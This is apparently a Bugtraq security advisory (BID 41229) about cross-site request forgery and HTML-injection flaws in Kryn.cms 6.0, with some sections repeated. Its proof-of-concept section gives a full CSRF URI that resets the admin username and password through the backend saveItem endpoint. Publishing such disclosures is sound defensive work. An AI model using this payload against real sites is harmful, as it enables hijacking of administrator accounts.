Kryn.cms Cross Site Request Forgery and HTML Injection Vulnerabilities
BID:41229
Info
Kryn.cms Cross Site Request Forgery and HTML Injection Vulnerabilities
| Bugtraq ID: | 41229 |
| Class: | Design Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jun 29 2010 12:00AM |
| Updated: | Jun 29 2010 12:00AM |
| Credit: | TurboBorland |
| Vulnerable: |
Kryn Labs Kryn.cms 6.0 |
| Not Vulnerable: | |
Discussion
Kryn.cms Cross Site Request Forgery and HTML Injection Vulnerabilities
Kryn.cms is prone to a cross-site request-forgery vulnerability and an HTML-injection vulnerability.
Exploiting these issues may allow a remote attacker to perform certain administrative actions, gain unauthorized access to the affected application, delete certain data, execute arbitrary script or HTML code within the context of the browser, and steal cookie-based authentication credentials. Other attacks are also possible.
Kryn.cms is prone to a cross-site request-forgery vulnerability and an HTML-injection vulnerability.
Exploiting these issues may allow a remote attacker to perform certain administrative actions, gain unauthorized access to the affected application, delete certain data, execute arbitrary script or HTML code within the context of the browser, and steal cookie-based authentication credentials. Other attacks are also possible.
Exploit / POC
Kryn.cms Cross Site Request Forgery and HTML Injection Vulnerabilities
An attacker can exploit HTML-injection issues through a browser. To exploit the cross-site request-forgery issue, an attacker must entice an unsuspecting user into visiting a malicious site.
The following example URI is available:
http://www.example.com/admin/backend/window/loadClass/saveItem?noCache=1277145391050&rsn=1&username=admin&passwd=admin&email=suck2%40example.org&groups=[%221%22]&module=users&code=users%2FeditMe%2F
An attacker can exploit HTML-injection issues through a browser. To exploit the cross-site request-forgery issue, an attacker must entice an unsuspecting user into visiting a malicious site.
The following example URI is available:
http://www.example.com/admin/backend/window/loadClass/saveItem?noCache=1277145391050&rsn=1&username=admin&passwd=admin&email=suck2%40example.org&groups=[%221%22]&module=users&code=users%2FeditMe%2F
Solution / Fix
Kryn.cms Cross Site Request Forgery and HTML Injection Vulnerabilities
Solution:
Updates are available; please see the references for more information.
Solution:
Updates are available; please see the references for more information.
References
Kryn.cms Cross Site Request Forgery and HTML Injection Vulnerabilities
References:
References:
- Kryn Persistent XSS and Administrative CSRF (Tyler Borland
) - Kryn.cms Homepage (Kryn Labs)